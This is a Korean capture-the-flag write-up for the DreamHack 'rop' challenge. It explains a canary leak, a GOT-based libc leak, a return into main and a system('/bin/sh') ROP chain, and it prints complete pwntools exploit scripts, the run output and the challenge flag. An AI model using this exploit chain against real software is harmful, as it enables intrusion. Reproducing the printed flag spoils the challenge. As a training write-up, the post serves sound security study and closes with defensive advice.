[🥉 Bronze 2] 카나리 leak + GOT leak로 ret2main, 그리고 ret2system — DreamHack rop 풀이

문제: DreamHack — rop 분류: Pwnable 난이도: 🥉 Bronze 2 FLAG: DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}

이름부터 "rop"다. 드림핵 시스템 해킹 커리큘럼에서 ROP(Return Oriented Programming)를 처음 연습시키는 문제라 군더더기가 없다. NX가 켜져 있어 스택에 셸코드를 올릴 수 없고, 스택 카나리까지 있어 반환 주소를 그냥 덮을 수도 없다. 그런데 입력 받는 지점은 딱 두 번뿐이다. 카나리 leak에 한 번, 진짜 공격에 한 번 — 이 두 번 안에서 libc 주소까지 새어 내야 하니, 그 안에 어떻게 "재진입"을 욱여넣느냐가 이 문제의 전부다.

문제 개요

항목	내용
문제명	rop
난이도	🥉 Bronze 2
분류	Pwnable
제공	64비트 ELF `rop` + 소스 `rop.c` + `libc.so.6` + 원격 서버
보호 기법	NX on · Stack Canary on · PIE off · Partial RELRO
핵심 기법	canary LSB leak → ROP#1(GOT leak) → ret2main → ROP#2 system("/bin/sh")

풀이 흐름: ① 소스를 보면 read 두 번이 끝이라는 게 보인다 → ② 1차 입력으로 카나리를 leak한다 → ③ 2차 입력에서 puts(GOT[puts])로 libc 실주소를 새고, 반환 주소를 main 자신으로 돌려 프로그램을 처음부터 다시 돌린다 → ④ 재진입한 main에서 같은 카나리로 이번엔 system("/bin/sh")를 태워 셸을 잡는다.

🧩 배경 — NX가 켜지면 왜 ROP인가

셸코드 인젝션은 스택 같은 데이터 영역에 내가 원하는 기계어를 올려두고 거기로 실행 흐름을 돌리는 공격이다. NX(No-eXecute) 비트는 그 데이터 영역의 실행 권한 자체를 꺼버려서 이 공격을 원천 차단한다.

대신 실행 권한이 남아 있는 곳은 딱 하나, 원래 코드가 있는 .text 영역이다. ROP는 여기서 이미 존재하는 명령어 조각들("가젯")을 스택에 늘어놓은 반환 주소로 이어 붙여, 새 코드를 주입하지 않고도 원하는 동작을 조립하는 기법이다. 가젯 하나하나는 pop rdi ; ret처럼 몇 바이트 안 되는 조각이고, 마지막이 항상 ret으로 끝나야 다음 가젯으로 넘어간다. ret이 스택 맨 위 값을 꺼내 그리로 점프하는 걸 반복 이용하는 것뿐이다.

이 문제는 라이브러리 함수 호출까지 체이닝해야 해서, pop rdi ; ret 가젯으로 인자를 채운 뒤 PLT 함수를 부르는 전형적인 함수 호출형 ROP다.

🔬 코드 정찰

소스는 24줄이 전부다.

int main() {
  char buf[0x30];
 
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
 
  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
 
  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
 
  return 0;
}

buf[0x30](48바이트)에 read로 최대 0x100(256바이트)을 받으니 오버플로우는 확정이다. 그런데 정작 입력 지점은 [1]과 [2], 딱 두 번이고 [2]의 read 뒤엔 바로 return이다. 셸코드를 올릴 실행 권한도 없고, 페이로드를 여러 단계로 나눠 보낼 기회도 없다 — 이번 한 방의 ROP 체인 안에 libc leak과 셸까지 다 태워야 한다.

보호 기법부터 확인한다.

file rop; echo; pwn checksec ./rop

file + checksec — NX on, Canary found, PIE off

NX enabled, Canary found, PIE off(0x400000 고정). PIE가 꺼져 있다는 게 중요하다 — 바이너리 안 가젯·PLT·GOT 주소는 재실행해도 항상 같다는 뜻이라, 로컬에서 구한 주소를 그대로 원격에 써도 된다.

main을 디스어셈블해서 정확한 스택 배치를 확인한다.

objdump -d -M intel --start-address=0x4006f7 --stop-address=0x4007e3 rop | \
sed -E \
  -e 's/(sub    rsp,0x40)/\1     <-- buf 프레임(rbp-0x40)/' \
  -e 's/(mov    QWORD PTR \[rbp-0x8\],rax)/\1  <-- 카나리 저장(rbp-0x8)/' \
  -e 's/(lea    rax,\[rbp-0x40\])/\1     <-- buf 시작 = rbp-0x40/' \
  -e 's/(call   4005f0 <read@plt>)/\1  <-- read(0, buf, 0x100)/' \
  -e 's/(call   4005e0 <printf@plt>)/\1  <-- canary leak 통로/' \
  -e 's/(call   4005d0 <__stack_chk_fail@plt>)/\1  <-- 카나리 불일치시/' \
  > main_disasm_annotated.txt

main 디스어셈블 — buf(rbp-0x40), canary(rbp-0x8), read/printf 위치

sub rsp,0x40으로 프레임이 0x40(64바이트)이고 카나리는 [rbp-0x8],rax에 저장된다. buf가 rbp-0x40이니 **buf 시작부터 카나리까지 거리는 0x40 - 0x8 = 0x38(56바이트)**다. 그 뒤로 saved rbp 8바이트, 반환 주소 8바이트가 이어진다.

🧱 배경 — 스택 카나리와 leak

카나리는 함수 진입 시 rbp-0x8에 랜덤 8바이트를 깔아 두고 함수가 끝날 때(leave; ret 직전) 그 값이 그대로인지 검사하는 장치다. 어긋나면 __stack_chk_fail로 바로 죽는다. 그래서 반환 주소를 덮으려면 그 앞의 카나리도 원래 값 그대로 다시 채워 넣어야 한다.

리눅스 glibc 카나리는 **최하위 바이트가 항상 0x00**으로 고정이다. 이 문제의 read는 개행이나 널 종단을 붙이지 않고 받은 만큼만 그대로 쓰는데, 뒤이은 printf("Buf: %s\n", buf)는 %s라 첫 0x00을 만나면 출력을 멈춘다. 즉 지금은 카나리의 널바이트에서 막혀 아무것도 새지 않는다.

그런데 정확히 0x38바이트를 채우고 한 바이트만 더 보내면, 그 한 바이트가 카나리의 널바이트 자리를 덮는다. %s는 이제 그 자리에서 멈추지 않고 카나리의 나머지 7바이트까지 그대로 흘려보낸다. 최하위 바이트는 항상 0x00이라는 걸 알고 있으니 앞에 도로 붙이면 카나리 전체가 복원된다.

💣 핵심 — GOT leak로 ret2main, 그리고 ret2system

카나리는 확보했지만 여전히 문제는 남는다. 입력은 이제 한 번뿐이고([2] Input ROP payload), 그 뒤엔 함수가 끝나며 leave; ret으로 종료된다. 이 한 번의 ROP 체인 안에서 libc 주소를 새고 셸까지 잡아야 하는데, system()을 부르려면 ASLR로 매번 바뀌는 libc 베이스를 먼저 알아야 한다.

답은 반환 주소를 프로그램 자기 자신, main()으로 돌리는 것이다. main은 지역변수·카나리 검사까지 포함해 매번 똑같이 동작하는 순수 함수라, 다시 불러도 문제없이 [1] Leak Canary부터 재실행된다. 그리고 카나리는 TLS(fs:0x28)에 저장된, 프로세스 시작 시 한 번만 뽑히는 값이라 main을 몇 번을 다시 불러도 똑같다 — 즉 한 번 leak한 카나리를 두 번째 라운드에서 그대로 재사용할 수 있다.

정리하면 2단 계획이다.

라운드 1 — libc 주소 leak + main 재진입

pop rdi ; ret     ; rdi = &puts@got
puts@plt          ; puts(GOT[puts]) → GOT에 든 실제 주소를 문자열처럼 출력
main              ; 반환 주소를 main으로 → 프로그램이 처음부터 다시 시작

puts(ptr)는 ptr이 가리키는 곳을 널 종단 문자열로 읽어 출력한다. GOT[puts]에는 이미 몇 번 불려서 동적 링커가 실제 libc 주소로 완전히 채워둔 값이 들어있으므로, 이 주소를 인자로 넘기면 그 값 자체가 원시 바이트로 출력된다. libc 함수 주소는 하위 6바이트만 유효하고 상위 2바이트가 0x00이라, puts는 딱 6바이트를 뱉고 자연스럽게 멈춘다.

라운드 2 — system("/bin/sh")

ret               ; 16바이트 정렬 보정용 패딩 한 칸
pop rdi ; ret     ; rdi = &"/bin/sh"  (libc 안의 문자열)
system            ; system("/bin/sh")

ret 한 칸을 끼워 넣는 이유는 glibc 내부에서 system이 SSE 명령(movaps 등)을 쓰기 때문이다. 이 명령은 스택이 16바이트 정렬돼 있지 않으면 죽는데, ret 체인으로 진입하면 실제 call을 거친 것과 정렬이 어긋날 수 있어 더미 ret 한 칸으로 8바이트를 맞춰준다.

이 두 라운드를 있는 그대로 실행하면, system("/bin/sh")는 내부적으로 /bin/sh -c "/bin/sh"를 실행하는 것과 같아서 자식으로 셸이 하나 더 뜬다. 그 셸의 stdin/stdout이 소켓 그대로라 이후 명령을 흘려보내면 원격 셸이 된다.

🎯 익스플로잇 조립

가젯은 ROPgadget으로 뽑는다.

ROPgadget --binary rop --only "pop|ret" | grep -E "pop rdi|: ret$"

0x400853이 pop rdi ; ret, 0x400596이 단독 ret이다. libc 쪽 오프셋은 심볼 테이블과 문자열 위치에서 그대로 뽑는다.

readelf -s libc.so.6 | grep -E "puts@@|system@@"
python3 -c 'print(hex(open("libc.so.6","rb").read().find(b"/bin/sh")))'

readelf 심볼 테이블에서 puts 는 0x80ed0, system 은 0x50d60 으로 나오고 파이썬 한 줄로 찾은 "/bin/sh" 문자열은 0x1d8698 에 있다. ROP 체인에 그대로 넣을 세 오프셋이 한 화면에 모였다

puts 0x80ed0, system 0x50d60, "/bin/sh" 0x1d8698. 이 값들과 pwn checksec 출력에서 확인한 puts@plt/GOT[puts]/main 주소를 pwntools의 ELF 객체로 그대로 읽어와 체인을 짠다.

from pwn import *
 
context.arch = "amd64"
elf = ELF("./rop")
libc = ELF("./libc.so.6")
 
pop_rdi_ret = 0x400853
ret_gadget  = 0x400596
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
 
BUF_TO_CANARY = 0x38  # buf(rbp-0x40) ~ canary(rbp-0x8)
 
io = remote("host3.dreamhack.games", 17758)
 
# [1] canary LSB(0x00)를 한 바이트로 덮어 %s 가 나머지 7바이트를 흘리게
io.recvuntil(b"[1] Leak Canary\n"); io.recvuntil(b"Buf: ")
io.send(b"A" * BUF_TO_CANARY + b"A")
io.recvuntil(b"Buf: ")
leak = io.recvn(BUF_TO_CANARY + 1 + 7)
canary = b"\x00" + leak[BUF_TO_CANARY + 1:]
 
# [2] ROP#1: puts(GOT[puts]) 로 libc leak → main 재진입
io.recvuntil(b"[2] Input ROP payload\n"); io.recvuntil(b"Buf: ")
rop1 = flat(pop_rdi_ret, puts_got, puts_plt, main_addr)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop1)
 
leaked_puts = u64(io.recvline(keepends=False).ljust(8, b"\x00"))
libc_base = leaked_puts - libc.symbols["puts"]
binsh  = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]
 
# main 재진입 — [1]은 그냥 흘려보내고(카나리는 재사용), [2]에서 진짜 ROP
io.recvuntil(b"[1] Leak Canary\n"); io.recvuntil(b"Buf: ")
io.send(b"hi"); io.recvuntil(b"\n")
io.recvuntil(b"[2] Input ROP payload\n"); io.recvuntil(b"Buf: ")
 
rop2 = flat(ret_gadget, pop_rdi_ret, binsh, system)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop2)
 
io.sendline(b"cat flag")
print(io.recvall(timeout=5).decode())

pop rdi로 옮긴 값이 정확히 GOT 슬롯의 주소(그 안에 든 값이 아니라)라는 점, read는 개행을 안 자르니 sendline이 아니라 send로 카나리 자리까지 정확히 맞춰 보내야 한다는 점만 조심하면 나머지는 그대로 흘러간다.

🚀 Full Exploit

실제로 돌린 solve.py. 위 조립 그대로에 checksec 출력과 최종 cat flag까지 포함한 전체다.

#!/usr/bin/env python3
from pwn import *
 
context.arch = "amd64"
context.log_level = "info"
 
HOST = "host3.dreamhack.games"
PORT = 17758
 
elf = ELF("./rop")
libc = ELF("./libc.so.6")
 
pop_rdi_ret = 0x400853
ret_gadget = 0x400596
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
 
BUF_TO_CANARY = 0x38  # rbp-0x40 (buf start) .. rbp-0x8 (canary)
 
io = remote(HOST, PORT)
 
# --- round 1 / stage 1: overwrite canary's null LSB, leak the other 7 bytes back ---
io.recvuntil(b"[1] Leak Canary\n")
io.recvuntil(b"Buf: ")
io.send(b"A" * BUF_TO_CANARY + b"A")
io.recvuntil(b"Buf: ")  # this is printf's own "Buf: " prefix
leak = io.recvn(BUF_TO_CANARY + 1 + 7)
canary = b"\x00" + leak[BUF_TO_CANARY + 1:]
log.info(f"canary = {canary.hex()}")
 
# --- round 1 / stage 2: ROP -> puts(GOT[puts]) leaks libc, then loop back into main() ---
io.recvuntil(b"[2] Input ROP payload\n")
io.recvuntil(b"Buf: ")
 
rop1 = flat(pop_rdi_ret, puts_got, puts_plt, main_addr)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop1)
 
leaked = io.recvline(keepends=False)
leaked_puts = u64(leaked.ljust(8, b"\x00"))
libc_base = leaked_puts - libc.symbols["puts"]
log.info(f"leaked puts@libc = {hex(leaked_puts)}  libc base = {hex(libc_base)}")
 
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]
 
# --- round 2: canary is a per-process TLS value set once, so it's unchanged. ---
io.recvuntil(b"[1] Leak Canary\n")
io.recvuntil(b"Buf: ")
io.send(b"hi")
io.recvuntil(b"\n")
 
# stage 2: final ROP -> system("/bin/sh")
io.recvuntil(b"[2] Input ROP payload\n")
io.recvuntil(b"Buf: ")
 
rop2 = flat(ret_gadget, pop_rdi_ret, binsh, system)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop2)
 
io.sendline(b"cat flag")
result = io.recvall(timeout=5)
print(result.decode(errors="replace"))

solve.py 실행 — canary·libc leak 후 flag 회수

[*] '/home/jinho/Dev/Hacking_Project/워게임/1_Bronze_2/rop/extracted/rop'
    NX:         NX enabled
    Stack:      Canary found
    PIE:        No PIE (0x400000)
[+] Opening connection to host3.dreamhack.games on port 17758: Done
[*] canary = 001cd8cf9e6b2594
[*] leaked puts@libc = 0x7fbea9475ed0  libc base = 0x7fbea93f5000
[+] Receiving all data: Done (69B)
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}

카나리 leak, libc 베이스 계산, 그리고 마지막 줄의 flag까지 한 세션 안에서 그대로 이어졌다.

FLAG: DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}

📝 결론

입력 기회가 제한돼도, 프로그램 자신을 가젯처럼 쓰면 단계를 늘릴 수 있다.

이 문제가 재밌는 지점은 취약점 자체(48바이트 버퍼에 256바이트 읽기)는 아주 단순한데, 그걸 살리는 방법이 "반환 주소로 되돌아갈 함수를 새로 안 만들고 main 자신을 재활용"이라는 데 있다. ROP는 코드 조각(가젯)만 재사용하는 기법이라고 생각하기 쉽지만, 함수 전체 — 심지어 main — 도 그저 스택에 얹을 수 있는 반환 주소 하나일 뿐이다.

방어 관점에서 정리하면:

NX만으로는 부족하다. 셸코드 실행은 막았지만 코드 영역 자체(라이브러리 포함)가 여전히 실행 가능하기 때문에 ROP로 우회된다. Full RELRO + PIE를 함께 켜야 GOT 덮어쓰기·주소 하드코딩까지 막힌다.
정보 노출은 사소해 보여도 치명적이다. %s가 널바이트에서 멈춘다는 성질 하나로 카나리 7바이트가 통째로 샜다. 사용자 입력을 그대로 포맷 문자열 인자에 넘기지 않는 것과는 별개로, 이런 "우연한 leak 경로"도 코드 리뷰에서 걸러야 한다.
버퍼 크기와 실제 read 크기를 맞춘다. buf[0x30]인데 read는 0x100을 받는 것부터가 전형적인 실수다. sizeof(buf)를 그대로 read의 길이 인자로 써야 한다.
GOT를 함부로 읽고 쓸 수 없게 한다. Full RELRO는 GOT를 초기화 후 읽기 전용으로 만들어, 이번처럼 puts(GOT[puts])로 실제 주소를 빼내는 leak 자체는 여전히 가능해도 GOT를 덮어써 실행 흐름을 가로채는 후속 공격은 막는다.

[🥉 Bronze 2] 카나리 leak + GOT leak로 ret2main, 그리고 ret2system — DreamHack rop 풀이

댓글

관련 글

[🥉 Bronze 2] pop rdi 가젯이 없을 때 — DreamHack basic_rop_x64 ret2csu 풀이

[🥉 Bronze 1] 카나리 흘리고 system 으로 되돌아가기 — DreamHack Return to Library 풀이

[🥉 Bronze 2] 스택 버퍼 오버플로우 2단계 ret2libc — DreamHack basic_rop_x86 풀이